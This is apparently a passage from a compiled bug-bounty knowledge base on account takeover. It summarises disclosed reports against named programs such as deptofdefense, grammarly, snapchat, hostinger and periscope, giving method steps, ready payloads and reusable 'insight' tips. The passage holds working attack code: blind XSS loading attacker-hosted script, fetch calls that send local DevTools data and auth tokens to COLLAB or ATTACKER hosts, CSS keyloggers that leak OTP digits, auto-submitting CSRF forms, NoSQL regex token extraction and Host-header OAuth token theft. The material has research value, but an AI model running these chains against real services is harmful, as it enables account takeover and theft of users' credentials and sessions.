- Register with email `victim@host{` (browser validates email chars, so switch input type or use Burp Match&Replace); the trailing char is stripped server-side so the QR recovery token is issued for `victim@host`.
- Use that recovery QR/token to take over the real victim account (account takeover).
- In the victim-only support chat, inject stored/blind XSS via the unescaped `$('#chat-div').append(...t...)` sink.
- Bypass CSP `script-src 'self' https://raw.githack.com/.../` by hosting JS in your own GitHub repo served through raw.githack.com (allowed prefix).
- Blind XSS fires in the admin review panel; the name-change endpoint has no authz and takes a `user_id` (IDOR) - set your own name to an HTML/script payload.
- Feed your name through the PDF converter; it renders with headless Chrome exposing DevTools on 127.0.0.1:9222 - fetch http://localhost:9222/json/list to read the secret document's rendered URL/content (SSRF).
# CSP-bypass blind XSS in support chat (send via Burp, not browser)
<meta http-equiv="refresh" content="0;url=https://COLLAB/pingback" />
<script src=//raw.githack.com/ATTACKER/repo/master/payload.js></script>
# name payload rendered by the PDF converter
"'><script src=//ATTACKER.xss.ht></script>
# SSRF sink inside the PDF/headless-Chrome context
fetch('http://localhost:9222/json/list').then(r=>r.text()).then(t=>fetch('https://COLLAB/?'+btoa(t)))
Insight β Look for sanitization applied inconsistently across fields (name stripped, email not) - a token bound to a normalized value can be minted from a look-alike input. CSP whitelists of 'helpful' CDNs like raw.githack.com/jsdelivr are script-src bypasses. Server-side HTML->PDF renderers are SSRF: they run a real browser, often headless Chrome with --remote-debugging-port open on localhost:9222.
Real-world example
Identity from client-controlled UID2 cookie enables ATO
β Critical
Specimen #1004750 Β· deptofdefense Β· none Β· 17 votes Β· resolved
Program deptofdefenseSurface webChain Companion IDOR leaks victim email -> spoof UID2 cookie + Tag account-takeover
Root cause
A password-change request derived the acting user from a client-controlled UID2 cookie value plus a userName field rather than a server session, so setting UID2 to a victim's id (with the victim's email, obtained via a companion IDOR) let an unauthenticated attacker set the victim's password.
Method
- Obtain the victim's email (via companion report 1004745's IDOR).
- Take the password-change request in Repeater.
- Replace the UID2 cookie value with the victim's numeric id and userName with the victim's email.
- Set the new password and send; the victim account password is changed -> log in.
# in the intercepted password-change request:
Cookie: ...; UID2=<VICTIM_ID>
# body:
userName=<VICTIM_EMAIL>&password=<attacker chosen>
Insight β Trust boundary bug: any identity value read from a cookie/body instead of the server session is attacker-controlled. Combine an id-leak IDOR with an identity-in-cookie write for unauthenticated ATO.
Real-world example
Blind NoSQL (MongoDB operator) injection in password reset β ATO
β Critical
Specimen #386807 Β· nodejs-ecosystem Β· none Β· 11 votes Β· resolved
Program nodejs-ecosystemSurface webChain email enumeration ($regex) β reset token exfil ($regex oraclTag account-takeover
Root cause
User input is passed straight into a Mongoose query object (User.findOne({ token }) / { email }) without string coercion, so query parameters like t[$ne]/t[$regex] become MongoDB operators. Differential responses (redirect vs error) leak whether the operator matched, letting the attacker exfiltrate the reset token character-by-character and take over the account.
Method
- Trigger password reset for a target email so a valid token exists
- Send the verify request with operator objects instead of a string value
- Observe the differential: t[$ne]=x redirects to the reset page (a token exists), t[$eq]=x does not
- Use $regex to brute-force the token prefix by prefix, then visit the reset URL to set a new password and log in
- The forgot-password form is likewise injectable to enumerate user emails via $regex
# boolean oracle
GET /admin/verify?t[$ne]=something -> redirect /admin/sp/[object Object]
GET /admin/verify?t[$eq]=something -> redirect /admin/login
# character-by-character token extraction
GET /admin/verify?t[$regex]=^a.*
GET /admin/verify?t[$regex]=^ab.* ...
Insight β Any Express/Mongoose endpoint that feeds req.query/req.body directly into a query is NoSQL-injectable because Express parses foo[$ne]=x into an object. Try [$ne], [$gt], [$regex] on reset tokens, login, and lookup params; a redirect/status difference is a blind oracle. Fix is String(value) coercion.
Real-world example
Sequential endpoint leaks email+reset PIN -> mass account takeover
β Critical
Specimen #1061736 Β· deptofdefense Β· none Β· 9 votes Β· resolved
Program deptofdefenseSurface webChain IDOR PII/PIN disclosure -> sequential enumeration -> fTag account-takeover
Root cause
An endpoint keyed by a sequential numeric identifier discloses a user's PII including email and the password-reset PIN; decrementing/incrementing the id enumerates victims, and the leaked email+PIN drive the forgot-password flow to reset any account.
Method
- Request the PII endpoint to obtain your own record (name, mobile, email) and note the PIN value at the endpoint
- Decrement the numeric id to enumerate other users' email + reset PIN
- Use forgot-password: enter victim email + leaked PIN -> set a new password -> takeover
GET https://REDACTED/<id> # returns email + reset PIN
# id-- to enumerate other users
# forgot-password: email=<victim> pin=<leaked> -> change password
Insight β An IDOR that leaks a reset secret (PIN/token/OTP) collapses to full ATO because the recovery flow trusts that secret. When a record exposes any credential-recovery material, test the recovery flow with it and test id enumeration for mass impact.
Real-world example
Full chain: .git leak -> log creds -> md5 2FA bypass -> traversal SSRF -> HPP+CSS-class CSRF privesc -> CSS keylogger
β Critical
Specimen #894863 Β· h1-ctf Β· none Β· 9 votes Β· resolved
Program h1-ctfSurface webChain .git leak -> creds -> md5 2FA bypass -> cookie travTag account-takeoverTag cors
Root cause
Multiple design flaws chained: exposed .git and a world-readable base64 trace log leaked credentials; 2FA verified client-comparable md5(challenge_answer)==challenge; a base64 cookie account_id was used to build an upstream URL (path traversal -> SSRF); template param accepted arrays (HPP) to co-render login+ticket; unvalidated avatar value was emitted as DOM class names allowing self-triggering CSRF to /admin/upgrade; a user-supplied app_style CSS URL enabled blind SSRF + CSS keylogging of 2FA input.
Method
- Recon finds /.git/config -> GitHub repo -> logger writes base64 request dumps to bp_web_trace.log; curl+base64 -d reveals username/password
- 2FA: challenge is md5 of answer; send challenge_answer=test & challenge=098f6bcd4621d373cade4e832627b4f6 to satisfy md5(answer)==challenge
- Base64 session cookie {account_id,hash}; set account_id to ../../redirect?url=... -> path traversal + open-redirect -> SSRF to enumerate internal subdomain
- Register staff by replaying staff JSON with Content-Type: application/x-www-form-urlencoded using a leaked staff_id
- Set profile avatar to 'upgradeToAdmin tab2'; the value is rendered as CSS classes; open ...#tab2 to auto-click and fire GET /admin/upgrade
- Use array HPP template[]=login&template[]=ticket to co-render the login template (for the username input) on the ticket page; feed URL to the admin-report bot to run it as admin
- Pay-flow 2FA loads user-controlled app_style CSS -> blind SSRF; host a CSS keylogger using input[value^=..] + nth-child ordering to exfiltrate the OTP
# base64 log decode
curl -s https://app.TARGET/bp_web_trace.log | awk -F':' '{print $2}' | while read l; do echo $l | base64 -d; echo; done
# md5 2FA bypass
username=..&password=..&challenge=098f6bcd4621d373cade4e832627b4f6&challenge_answer=test
# traversal in signed cookie
{"account_id":"../../redirect?url=https://software.TARGET","hash":"..."}
# array HPP
/?template[]=login&template[]=ticket&ticket_id=3582&username=sandra.allison#tab2
# CSS class injection (avatar) -> self-CSRF
profile_avatar = "avatar2 upgradeToAdmin tab2"
# CSS keylogger ordering
input[name=otp] input:nth-child(2)[value^="a"]{background:url(//COLLAB/2-a)}
Insight β Treat any value reflected as a DOM class/attribute as a CSRF/clickjacking primitive when JS binds click handlers to classes. Base64/JSON cookies and 'url' fields are traversal+SSRF sinks. Client-verifiable challenges (md5(answer)==challenge sent by client) are always bypassable. Array-style HPP (param[]=a¶m[]=b) can force a page to render two templates at once. When a bot renders attacker-controlled CSS, a CSS keylogger with nth-child ordering beats out-of-order parallel requests.
Real-world example
Password reset accepts empty token + guessable incremental user id
β Critical
Specimen #544334 Β· deptofdefense Β· none Β· 8 votes Β· resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
The reset-password endpoint validates the user id but not the anti-hijack token, accepting an empty token; combined with a static, incremental numeric user id this allows resetting any account's password.
Method
- Initiate password reset for the victim email to arm the flow
- Request the reset URL with the victim's numeric user id and an empty token param
- Set a new compliant password and log in as the victim (admin)
# armed by requesting reset for victim, then:
https://TARGET/resetpassword.aspx?ru={VICTIM_NUMERIC_ID}&op=
# op (token) left empty is accepted; ru is incremental/static per account
Insight β Always test reset/verification tokens for empty, null, removed, and truncated values - many backends short-circuit to 'valid' when the token is absent. Pair with any predictable/incremental identifier to turn a self-reset into any-account takeover.
Real-world example
CEO account takeover chain: log leak -> weak 2FA -> cookie-path SSRF -> APK token -> CSS-injection OTP exfil
β Critical
Specimen #890196 Β· h1-ctf Β· none Β· 4 votes Β· resolved
Program h1-ctfSurface webChain .git leak -> log cred disclosure -> md5 2FA bypass -&gTag account-takeoverTag cloud-aws
Root cause
A chain of independent weaknesses: exposed .git/config revealed a repo naming an unprotected request-trace log file that logged plaintext credentials; the 2FA 'challenge' was just md5(answer) supplied by the client; the session cookie was base64 JSON whose account_id was reflected into a server-side API path (SSRF/path injection); an APK leaked the API token; and the payment 2FA app fetched an attacker-controlled CSS (app_style) allowing CSS-injection exfiltration of the OTP.
Method
- Find .git/config -> repo -> unprotected bp_web_trace.log with base64 requests containing username/password
- Bypass login 2FA: set challenge=md5('a') & challenge_answer='a' (challenge is client-supplied hash of the answer)
- Decode base64 cookie {account_id,hash}; inject path traversal + /redirect?url= into account_id to SSRF internal software.bountypay host and fuzz dirs
- Download leaked APK, reverse with dex2jar, recover X-Token API token from logcat
- Use X-Token on api host; create a staff account via POST /api/staff with a staff_id harvested from Twitter
- Privilege-escalate: set profile avatar 'class' to 'tab1 upgradeToAdmin' so hash-triggered click fires the admin-upgrade handler; report the crafted URL to admin
- For payment 2FA, change app_style to attacker CSS; use input[value^=..]:nth-child(n) selectors to exfiltrate the OTP char-by-char via background-image callbacks
# 2FA bypass
username=brian.oliver&password=V7h0inzX&challenge=<md5('a')>&challenge_answer=a
# cookie-path SSRF
token=base64({"account_id":"../../../redirect?url=https://software.bountypay.h1ctf.com/#","hash":"..."})
# class-name injection privesc
profile_avatar=tab1%20upgradeToAdmin (then open ...#tab1)
# CSS-injection OTP exfil
input[value^="a"]:nth-child(1){background-image:url("https://COLLAB/1_a.jpg");}
Insight β Recurring transferable primitives: exposed .git -> source -> predictable log/backup paths with plaintext creds; client-supplied MD5 'challenge' == answer is a fake 2FA; base64-JSON cookies whose fields feed server-side URLs are SSRF/path-injection sinks; server-fetched user-supplied stylesheet enables CSS-exfil of secrets (OTP) one char per selector.
Real-world example
Recon-to-RCE chain: .git dump -> log creds -> PHP 0e-hash 2FA bypass -> cookie path-traversal -> SSRF
β Critical
Specimen #892632 Β· h1-ctf Β· none Β· 4 votes Β· resolved
Program h1-ctfSurface webChain .git exposure -> logged creds -> login -> 0e magic-Tag account-takeover
Root cause
A chain of independently common bugs: exposed .git repo, credentials logged in a world-readable log, PHP loose-comparison magic-hash 2FA check, an unsigned/parseable token cookie whose account_id is concatenated straight into a backend URL (path traversal / SSRF), and a whitelist-prefix open redirect that pivots the SSRF to an IP-restricted host.
Method
- Dump exposed /.git with git-dumper; read .git/config for the remote repo (request-logger.git)
- Fetch the referenced bp_web_trace.log; base64-decode entries to recover username/password
- Bypass 2FA: server compares md5(challenge_answer) loosely - supply an answer whose md5 is a 0e-prefixed magic hash so the type-juggled comparison passes
- Notice token cookie = base64 JSON {account_id, hash}; the account_id is spliced into a backend API URL -> set account_id to ../../ to traverse to any /api/* endpoint
- Chain the API's whitelist-prefix open redirect (/redirect?url=<must start with whitelisted host>) to reach the IP-restricted software.* host -> SSRF
- Dirbust the internal host through the SSRF tunnel to find a listable dir hosting an APK; analyze deeplink activities to progress
# .git dump
python git-dumper.py https://TARGET/.git/ ./out
# creds from log
curl https://TARGET/bp_web_trace.log # base64 lines -> {"POST":{"username":"...","password":"..."}}
# 2FA magic-hash bypass (PHP == type juggling): pick answer whose md5 starts 0e...
# challenge=<md5 0e...>&challenge_answer=<10-char string hashing to that>
# cookie path traversal + SSRF via whitelisted open redirect:
token = '{"account_id":"../../redirect?url=https://software.TARGET/#","hash":"de235bffd23df6995ad4e0930baac1a2"}'
# base64(token) -> Cookie: token=... makes backend fetch api/accounts/../../redirect?url=https://software.TARGET/#/statements
Insight β Method map for the next target: (1) always scan for /.git and dump it; (2) grep dumped code/logs for remote URLs and credentials; (3) test PHP equality checks with 0e magic hashes when a client-supplied hash is compared; (4) treat any client-controlled ID that reappears in a server-side URL as path-traversal/SSRF - inject ../ and full URLs; (5) an open redirect that only checks a URL *prefix* is bypassable by appending, and pairs with SSRF to reach IP-restricted hosts. Small low-severity bugs compose into critical account/payment takeover.
Real-world example
BountyPay CTF chain: .git leak, MD5 2FA bypass, cookie SSRF, CSS-injection 2FA exfil
β Critical
Specimen #893395 Β· h1-ctf Β· none Β· 3 votes Β· resolved
Program h1-ctfSurface webChain .git leak -> creds -> MD5 2FA bypass -> cookie accoTag account-takeover
Root cause
Multiple independent web/mobile weaknesses chained to full account takeover: exposed .git -> log file with credentials; client-verifiable 2FA (challenge = md5(answer)); base64 (unencrypted) session cookie whose account_id is concatenated into a server-side API URL and truncated with #; and a headless-Chrome page-reporter that loads an attacker-controlled stylesheet, enabling CSS-injection exfiltration of split 2FA code input fields.
Method
- Fetch /.git/config -> find GitHub repo -> read leftover bp_web_trace.log (base64 JSON) containing username:password.
- Bypass 2FA: server accepts any challenge where challenge == md5(challenge_answer); generate a matching pair.
- Tamper base64 cookie account_id, append '#' so the fragment truncates the server-built API URL, reaching arbitrary API endpoints as the victim.
- Escalate to admin, then read the /pay flow's app_style parameter which loads an external stylesheet into a headless browser.
- Point app_style at attacker CSS that uses attribute selectors on code_1..code_7 to leak each 2FA digit via background:url callbacks; assemble the OTP and complete the payout.
# MD5 2FA bypass:
username=brian.oliver&password=V7h0inzX&challenge_answer=AAAAAAAAAA&challenge=16c52c6e8326c071da771e66dc6e9e57
# cookie URL-injection (base64 of):
{"account_id":"F8gHiqSdpK#","hash":"..."}
# CSS exfiltration of 2FA field values:
input[name="code_1"][value="a"]{ background:url("https://ATTACKER:9999/log_1/a"); }
# app_style=https://ATTACKER:9999/css
Insight β High-value primitives: (1) always probe /.git and follow it to source+log leaks; (2) client-side-verifiable 2FA (hash of the answer supplied alongside it) is trivially bypassable; (3) a user-controlled 'stylesheet URL' rendered by a server-side headless browser = CSS-injection data exfiltration of any DOM value, including split OTP fields; (4) URL fragments (#) truncate server-side-concatenated URLs to reach unintended endpoints.
Real-world example
Live session cookie leaked in a report comment (curl paste)
β High
Specimen #745324 Β· security Β· 20000 Β· 1631 votes Β· resolved
Program securitySurface webTag account-takeover
Root cause
A triage analyst copied a curl command from the browser console into a report reply without stripping the Cookie header, disclosing a valid session cookie. Session cookies aren't bound to IP/browser, so reuse grants full access.
Method
- Read disclosed reports and their comment/timeline threads
- Grep pasted curl/HTTP dumps for Cookie:, Authorization:, session tokens
- Replay the cookie in your own browser to ride the session
curl 'https://target/app' -H 'Cookie: __Host-session=<LEAKED>'
Insight β Human-pasted reproduction commands (curl copied 'as cURL' from devtools) routinely carry live auth headers. Mine comments, timelines, screenshots, HARs and CI output for leaked session cookies/bearer tokens; they are not IP-bound.
Real-world example
Cookie-reflected XSS + arbitrary cookie-write endpoint bypasses HttpOnly
β High
Specimen #534450 Β· superhuman Β· awarded Β· 289 votes Β· resolved
Program superhumanSurface webChain cookie-write endpoint -> reflected XSS -> read HttpOnl
Root cause
gnar_containerId cookie is reflected unescaped inside a <noscript> block; a separate gnar.grammarly.com/cookies endpoint sets/reads any *.grammarly.com cookie without Referer/whitelist checks, so attacker JS (same-origin) writes an XSS payload cookie and later reads the HttpOnly grauth session cookie.
Method
- From attacker page, POST to gnar.grammarly.com/cookies to set gnar_containerId to a </noscript><script src=...> payload
- Redirect victim to www.grammarly.com where the cookie reflects unescaped in a noscript img -> XSS
- Injected JS GETs gnar.grammarly.com/cookies?name=grauth (same-origin, reads HttpOnly value) and exfiltrates
gnar_containerId = </noscript><script/src='https://attacker/poc.js'></scr"+"ipt><noscript>
// poc.js: xhr GET https://gnar.grammarly.com/cookies?name=grauth (withCredentials) -> exfil
Insight β A reflected-cookie XSS plus a cross-subdomain cookie read/write API defeats HttpOnly and CORS entirely: the injected JS runs same-origin. Hunt /cookies-style endpoints that mirror cookies via query params and lack Referer/whitelist checks.
Real-world example
Team invite confirmation link with no email binding -> zero-interaction ATO
β Critical
Specimen #915110 Β· automattic Β· awarded Β· 63 votes Β· resolved
Program automatticSurface webChain team invite -> visible confirmation link -> zero-clickTag account-takeover
Root cause
When a team account invites a user, the confirmation link is shown to the inviter and contains no check that the redeemer's email matches the invitee; inviting a victim's existing email produces a link that, when the attacker clicks it, logs the attacker straight into the victim's account.
Method
- From a team account, open the invite-users page
- Invite the victim's existing account email
- The confirmation link is displayed in the inviter's dashboard
- Click it from the attacker's browser -> logged in as the victim, no victim interaction
Insight β Invitation/confirmation tokens must be bound to the target identity and require the invitee's own authenticated action. If the link is visible to the inviter and lacks an email/ownership check, inviting an existing account becomes a full account takeover. Always test invite flows against already-registered emails.
Real-world example
Purchase-flow parameter tampering sets victim email -> ATO
β Critical
Specimen #394329 Β· chaturbate Β· awarded Β· 55 votes Β· resolved
Program chaturbateSurface webChain parameter tamper purchase -> set victim email -> passwTag account-takeover
Root cause
The fanclub subscription purchase let the buyer manipulate parameters to make the purchase apply to another user's account; as a side effect it set the target account's email (when none was on file), which could then be used to trigger a password reset and take over the account.
Method
- Start a fanclub subscription purchase
- Tamper the account/target parameter to reference a victim account with no email on file
- Complete purchase, which writes an attacker-controlled email onto the victim account
- Request a password reset to that email and take over the account
Insight β Purchase/subscription flows that accept a target-user parameter can be redirected to another account; watch for side effects that write attacker-controlled contact info (email/phone) onto the victim, which chains to password-reset ATO. Emailless accounts are the ideal target.
Real-world example
SSO ticket theft: SVG-XSS + hashfragment-through-redirect + CSRF login + non-expiring ticket
β High
Specimen #265943 Β· snapchat Β· awarded Β· 244 votes Β· resolved
Program snapchatSurface webChain SVG XSS + open SSO referrer + fragment retention + CSRF logiTag account-takeoverTag file-upload
Root cause
Multiple weak links compose into SSO token theft: an SVG uploaded to snappublisher runs JS, the accounts.snapchat.com SSO referrer param accepts any snappublisher URL and preserves the #fragment across 302/307 redirects, SSO login is CSRF-able, and the SSO ticket does not expire after use.
Method
- Upload an XSS SVG to snappublisher (import-from-site) hosted at an API media URL
- CSRF-login the victim into the attacker's snappublisher session
- Request the SSO ticket with referrer set to the SVG URL plus %23 fragment; the ticket rides the fragment through the 307 redirect to storage.googleapis
- SVG JS reads the ticket from the fragment; reuse it at /sso_continue?ticket=<stolen> to log in as victim
https://accounts.snapchat.com/accounts/sso?client_id=creativesuite-prod&referrer=https://snappublisher.snapchat.com/api/v1/media/<id>/file/x.svg?%23pranav
# 307 -> storage.googleapis.com/...#ticket=<SSO_TICKET>
# reuse: https://snappublisher.snapchat.com/sso_continue?ticket=<stolen>
Insight β URL fragments survive redirects and leak tokens to whatever final origin runs script (uploaded SVG). Combine a permissive SSO referrer/redirect param, a script-execution sink, and a token that neither expires nor binds to a session for a full SSO-token theft chain.
Real-world example
ATO of existing accounts via SCIM provisioning email/username handling
β High
Specimen #3178999 Β· security Β· awarded Β· 227 votes Β· resolved
Program securitySurface apiChain SCIM email overwrite (no notice) -> silent password resetTag account-takeoverTag saml
Root cause
SCIM provisioning (Okta) lets an org admin import an existing platform user and edit that membership's email field to an attacker-controlled address in the verified domain, silently changing the victim's email (no notification), after which a password reset β also silent β takes over the account.
Method
- Set up sandbox program with verified domain + SSO + SCIM
- In Okta create a user with an email you control in the verified domain
- Import org users; assign the victim (e.g. default demo-member@) to your Okta user
- Change the SCIM email field to your verified-domain address (username left unchanged)
- SCIM syncs, victim email replaced with no notice
- Trigger password reset (no notice) -> log in as victim
# Okta SCIM assignment: keep username=victim@victimdomain, set email=attacker@verified-domain
# then hackerone password reset -> attacker inbox
Insight β SCIM/directory-sync is an under-tested authz surface: the mapping between the external directory identity (username) and the app account (email) is often mutable without re-verification or user notification. Test importing/reassigning EXISTING accounts and mutating email vs username independently.
Real-world example
1-click ATO: allowlisted-redirect XSS exfiltrates auth token
β High
Specimen #3081691 Β· hostinger Β· awarded Β· 213 votes Β· resolved
Program hostingerSurface webChain SSO redirect allowlist -> reflected XSS on marketing subdTag account-takeoverTag open-redirect
Root cause
auth.hostinger.com honors redirectUrl to marketing.hostinger.com (an allowlisted sibling), and that subdomain reflects a redirect_url parameter into HTML unescaped (reflected XSS). Because the victim is authenticated when redirected, the injected script reads and exfiltrates their auth token.
Method
- Craft an auth.hostinger.com/login?redirectUrl=<marketing subdomain URL with XSS payload>
- Send to logged-in victim (one click)
- XSS on the allowlisted subdomain fetches attacker server with window.location / token
- Use the leaked auth token to mint a valid JWT and take over hpanel/builder/VPS
https://auth.hostinger.com/login/?redirectUrl=https%3A%2F%2Fmarketing.hostinger.com%2Fen-us%2Fmarketplace_wix%2Fsite_not_published%3Fredirect_url%3Dx%22%3E%3C%2Fa%3E%3Cscript%3Efetch(%27https%3A%2F%2FCOLLAB%27%2C%7Bmethod%3A%27POST%27%2Cbody%3Awindow.location%7D)%3C%2Fscript%3E
Insight β Allowlisted-redirect targets are often forgotten/rebranded subdomains still trusted by SSO. Chain: SSO redirect allowlist -> XSS on the trusted sibling -> token/cookie exfil while the victim is authenticated. Audit every allowlisted redirect host for reflected sinks.
Real-world example
Host-header injection in OAuth login redirect steals oauth token
β High
Specimen #317476 Β· x Β· awarded Β· 212 votes Β· resolved
Program xSurface webChain host-header injection -> OAuth redirect to attacker ->Tag oauthTag account-takeover
Root cause
The Twitter-login endpoint on periscope.tv reflects the Host header into the OAuth redirect (meta refresh) destination; setting Host: attacker.com/www.periscope.tv redirects the victim (with oauth_token) to the attacker, enabling account takeover.
Method
- GET /i/twitter/login on the target with Host: attacker.com/www.periscope.tv
- Response meta-refreshes to https://twitter.com/oauth/authenticate?oauth_token=...
- Send the poisoned link to the victim; after they authorize, token+verifier land on attacker.com
- Replay the token to take over the victim account
GET /i/twitter/login?csrf=... HTTP/1.1
Host: attacker.com/www.periscope.tv
Insight β Test Host-header (and X-Forwarded-Host) injection wherever a login/OAuth flow builds a redirect/callback URL. `Host: attacker.com/legit.host` keeps the path valid while pointing the origin at the attacker, leaking oauth_token/reset tokens.
Real-world example
Steal bearer/JWT via Android deep-link internal-URL bypass + native bridge
β High
Specimen #1372667 Β· basecamp Β· awarded Β· 108 votes Β· resolved
Program basecampSurface mobile-androidChain deep link -> internal-URL bypass -> WebView loads attaTag jwtTag account-takeover
Root cause
The Android app's internal-URL check treats any URL containing '/verify?' as internal and then follows its proceed_to param unchecked, letting an attacker point the WebView at an external origin. The JS native bridge (openNativeImageViewer) then fetches a preview_url with the app's JWT/bearer header attached, leaking it to the attacker host.
Method
- Know the victim's account id (exposed in basecamp URLs)
- Deliver a deep link https://3.basecamp.com/<accountId>/verify?proceed_to=<attacker URL> (intent or phishing)
- The /verify? bypass loads attacker HTML in the app WebView
- Call the native bridge with a preview_url to the attacker server; the app sends its JWT header to fetch it
adb shell am start -n com.basecamp.bc3/...BasecampUrlFilterActivity 'https://3.basecamp.com/<ID>/verify?proceed_to=https://attacker/attack.html'
// attack.html:
<script>NativeApp.openNativeImageViewer("[{'download_url':'https://attacker/a.jpg','preview_url':'https://attacker/a.jpg','caption':'x'}]", 0)</script>
Insight β Mobile 'is this URL internal?' allowlists that key on a substring ('/verify?') and then honor a redirect param (proceed_to) are bypassable to load attacker content in a trusted WebView. If a JS-native bridge attaches auth headers (JWT/bearer) to fetched resource URLs, that is a direct token-exfil sink. Audit exported deep-link activities + bridge methods together.
Real-world example
Email-only login by stripping OAuth params
β High
Specimen #245408 Β· eternal Β· USD 1000 Β· 103 votes Β· resolved
Program eternalSurface apiTag oauthTag account-takeover
Root cause
The mobile Google-login endpoint issues a valid access token when only an email is supplied; the Google OAuth token was never actually required/verified server-side.
Method
- Intercept the app's Google login call to /v2/auth.json?isGoogle=true
- Strip parameters one by one
- Observe only email= remains required to receive a valid token
- Log in as any user by their email
POST /v2/auth.json?isGoogle=true HTTP/1.1
X-API-Key: <app_key>
Content-Type: application/x-www-form-urlencoded
email=victim@example.com
Insight β On social-login endpoints, strip the OAuth/id_token/signature params and keep only the identity field (email). Backends that trust email without verifying the provider assertion grant full ATO.
Real-world example
Pre-verification session token reuse (same token per phone)
β High
Specimen #1245762 Β· zenly Β· awarded Β· 93 votes Β· resolved
Program zenlySurface apiChain shared token -> victim OTP validates it -> attacker seTag account-takeover
Root cause
SessionCreate returns the SAME (not-yet-valid) session token for a given phone number across callers until SessionVerify succeeds; the SMS code validates whatever token is outstanding, so an attacker holding that token becomes authenticated when the victim enters their code.
Method
- Attacker calls /SessionCreate with victim's phone number, receives session token T
- Victim (before or after) logs in and receives the same token T
- Victim enters the SMS code, calling /SessionVerify -> T becomes valid
- Attacker polls /Me; once valid, attacker's copy of T is a live session -> full access
POST /SessionCreate { phone: <victim_msisdn> } -> returns token T (same for all callers)
# poll: GET /Me with T until 200
Insight β Test whether a pre-auth session/token is per-request or shared per identity. If the same token is handed to anyone requesting for a phone/email, you can pre-obtain it and let the victim's OTP validate it for you. Tokens must be unique per SessionCreate and codes single-token-bound.
Real-world example
Expired-cert staging site + open mail catcher -> WordPress password reset takeover
β High
Specimen #1067547 Β· automattic Β· awarded Β· 71 votes Β· resolved
Program automatticSurface webChain password reset email -> open maildev -> wp-admin ->Tag account-takeover
Root cause
A staging environment left an unauthenticated maildev/mailcatcher exposed and a WordPress instance reachable; the reset email for a valid user lands in the open catcher, allowing password reset and CMS takeover (plugin/theme upload -> RCE).
Method
- Discover staging subdomains (maildev.*, api.*); if TLS cert expired, roll system clock back to before expiry to load the site
- Trigger wp-login.php?action=lostpassword for a known user (e.g. 'api')
- Open the exposed maildev inbox to read the reset link, set a new password
- Log in to wp-admin and upload a malicious plugin/theme for RCE
https://api.happytools.dev/wp-login.php?action=lostpassword (user: api)
https://maildev.happytools.dev (open inbox with reset link)
Insight β Dev/staging hosts frequently pair a WordPress install with an unauthenticated mail catcher (MailDev/MailHog/Mailtrap). Enumerate maildev/mailhog/smtp subdomains; an open catcher turns any password-reset into account takeover. Expired certs are not a dead end - set the clock back.
Real-world example
Multistage CSRF: set security answers -> reset password -> ATO
β High
Specimen #2652603 Β· deptofdefense Β· none Β· 47 votes Β· resolved
Program deptofdefenseSurface webChain CSRF change security Q/A -> knowledge-based password reseTag account-takeover
Root cause
The change-security-questions endpoint validates no CSRF token; an attacker forces the victim to set attacker-known answers, then uses the on-screen 'security question' password reset to take over the account.
Method
- CSRF POST to /member/updatesecurityquestions setting attacker-chosen Q/A
- In a fresh session use forgot-password -> On-Screen Reset
- Answer with the values you just set -> change victim password -> ATO
<form action="https://TARGET/member/updatesecurityquestions" method="POST">
<input name="security_questions1" value="1"><input name="security_question_answer1" value="hacked">
<input name="security_questions2" value="2"><input name="security_question_answer2" value="hacked">
<input name="security_questions3" value="3"><input name="security_question_answer3" value="hacked">
<input name="submit" value="Save">
</form><script>document.forms[0].submit()</script>
Insight β Chain a low-impact CSRF into ATO: any CSRF that writes a recovery factor (security answer, recovery email/phone, MFA) can be escalated through the normal reset flow. A single PoC can fire both stages with a timed second submit.
Real-world example
Single-request CSRF on profile update sets password -> ATO
β High
Specimen #670924 Β· deptofdefense Β· none Β· 42 votes Β· resolved
Program deptofdefenseSurface webChain CSRF profile update -> password overwrite -> account tTag account-takeover
Root cause
The profile-update endpoint has no CSRF protection and accepts the password field in the same form, so one forged POST rewrites the victim's password.
Method
- Capture the profile-update POST (includes txtPassword/txtVeriPW)
- Build a CSRF form setting attacker-known password
- Victim visits -> password changed -> log in as victim
<form action="http://TARGET/.../myprofile.asp?update=yes" method="POST">
<input name="txtPassword" value="AttackerPass1">
<input name="txtVeriPW" value="AttackerPass1">
<input name="txtEmail" value="victim@example"> ... other profile fields ...
<input name="submit1" value="Submit">
</form>
Insight β Profile/settings forms that bundle the password field are one-shot ATOs when CSRF is missing. Always include every original field in the PoC so server-side required-field validation passes.
Real-world example
Takeover of unactivated 'light' account by re-registration
β High
Specimen #767829 Β· starbucks Β· none Β· 30 votes Β· resolved
Program starbucksSurface webTag account-takeover
Root cause
Registering a new account with an email that already belongs to a pre-existing but unactivated ('light') account overwrote that account's password instead of rejecting the signup, handing control to the attacker; email case-normalization variants also let a shadow account be created.
Method
- Identify/guess a victim email with an existing but never-activated account
- Register a new account using that same email (optionally vary the case)
- Set your own password during signup
- The pre-existing account's password is overwritten -> log in as the victim
POST /register email=victim@example.com password=attacker_pw # overwrites existing 'light' account
# variant: Victim@Example.com (case change) creates a conflicting/shadow account (#187714)
Insight β Test signup with an email that already exists (including case/whitespace variants): apps that upsert instead of reject, or that don't canonicalize email, enable ATO or account squatting on pre-provisioned/unactivated accounts.
Real-world example
Change your email to a victim's existing email -> lockout + record deletion
β High
Specimen #2587953 Β· deptofdefense Β· none Β· 26 votes Β· resolved
Program deptofdefenseSurface webChain Unverified email change -> unique-email collision -> vTag account-takeover
Root cause
The change-email flow lets you set your address to another registered user's email without verification; the backend reassigns the unique email to the attacker (victim can no longer log in), and reverting frees/deletes the victim's record from the DB.
Method
- Login as attacker, open Change Your Email Address
- Set attacker email to the victim's existing email; it succeeds
- Victim now gets Invalid Credentials (email reassigned / account collided)
- Attacker changes email back; the victim's email is now free/available -> victim account permanently deleted
POST /ChangeEmail HTTP/1.1
Host: TARGET
Cookie: <attacker session>
newEmail=victim@example.com
Insight β Test change-email/change-username with a value ALREADY owned by another account. Missing uniqueness+verification handling causes silent record collision, victim lockout, or deletion - a destructive ATO variant that needs no id tampering.
Real-world example
Unauth IDOR on UID param to mass account takeover
β High
Specimen #685338 Β· deptofdefense Β· none Β· 22 votes Β· resolved
Program deptofdefenseSurface webChain Unauth UID IDOR -> change victim email -> password resTag account-takeover
Root cause
An ASP.NET registration/update endpoint (chkUser.aspx) took the account to modify from an unauthenticated client-supplied numeric UID parameter instead of the session, letting anyone rewrite any account's email (incremental IDs, ~320k accounts) and then password-reset into it.
Method
- Register a test account and note the numeric UID from the chkUser.aspx response.
- Log out (no session needed).
- Send an unauth POST to /chkUser.aspx with UID set to any target id and mail set to an attacker address.
- Victim email is changed; trigger password reset to take over. Increment UID for mass ATO.
